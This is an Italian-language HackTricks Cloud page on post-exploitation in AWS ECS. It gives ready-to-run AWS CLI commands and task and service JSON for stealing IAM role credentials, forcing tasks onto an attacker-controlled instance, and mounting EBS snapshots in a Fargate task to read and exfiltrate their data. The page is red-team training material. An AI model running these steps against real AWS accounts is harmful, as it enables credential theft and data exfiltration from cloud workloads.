AWS - ECS Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECS
Per maggiori informazioni consulta:
Ruoli IAM dellâhost
In ECS un IAM role può essere assegnato al task in esecuzione allâinterno del container. Se il task è eseguito su unâistanza EC2, lâEC2 instance avrĂ un altro IAM role allegato a sĂŠ.
Questo significa che se riesci a compromise unâistanza ECS puoi potenzialmente ottenere lâIAM role associato a ECR e allâistanza EC2. Per maggiori info su come recuperare quelle credenziali consulta:
Caution
IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasksâonly Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
Privesc to node to steal other containers creds & secrets
Inoltre, EC2 usa docker per eseguire i task ECS, quindi se riesci a evadere sul nodo o ad access the docker socket, puoi controllare quali other containers sono in esecuzione, e persino entrare al loro interno e steal their IAM roles allegati.
Forzare lâesecuzione di container sullâhost corrente
Inoltre, lâEC2 instance role avrĂ di solito abbastanza permissions per update the container instance state delle EC2 instance usate come nodi nel cluster. Un attacker potrebbe modificare lo state of an instance to DRAINING, quindi ECS rimuoverĂ tutti i tasks da essa e quelli eseguiti come REPLICA verranno run in a different instance, potenzialmente dentro lâattackers instance, permettendogli di steal their IAM roles e ottenere informazioni sensibili dallâinterno del container.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
La stessa tecnica può essere fatta deregistrando lâistanza EC2 dal cluster. Questo è potenzialmente meno furtivo ma forzerĂ i task a essere eseguiti su altre istanze:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la task o il container siano stati fermati. Ci sono 3 API potenziali per farlo:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Rubare informazioni sensibili dai container ECR
Lâistanza EC2 probabilmente avrĂ anche il permesso ecr:GetAuthorizationToken, che le permette di scaricare immagini (puoi cercare informazioni sensibili al loro interno).
Montare uno snapshot EBS direttamente in un ECS task (configuredAtLaunch + volumeConfigurations)
Abusa della integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente in un nuovo ECS task/service e leggere i dati dallâinterno del container.
-
Requisiti minimi:
-
ecs:RegisterTaskDefinition
-
Almeno uno di: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole su:
-
ECS infrastructure role usato per i volumi (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenziati dalla task definition
-
Se lo snapshot è criptato con una CMK: permessi KMS per il ruolo infra (la AWS managed policy sopra include i grant KMS necessari per le AWS managed keys).
-
Impatto: Leggere contenuti arbitrari del disco dallo snapshot (es. file di database) allâinterno del container ed exfiltrate via network/logs.
Passaggi (esempio Fargate):
- Crea lâECS infrastructure role (se non esiste) e allega la managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registra una task definition con un volume contrassegnato
configuredAtLaunche montalo nel container. Esempio (stampa il secret e poi esegue sleep):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Creare o aggiornare un servizio passando lo snapshot EBS tramite
volumeConfigurations.managedEBSVolume(richiede iam:PassRole sul ruolo infra). Esempio:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es.,
/loot). Esfiltra tramite la rete e i log del task.
Pulizia:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

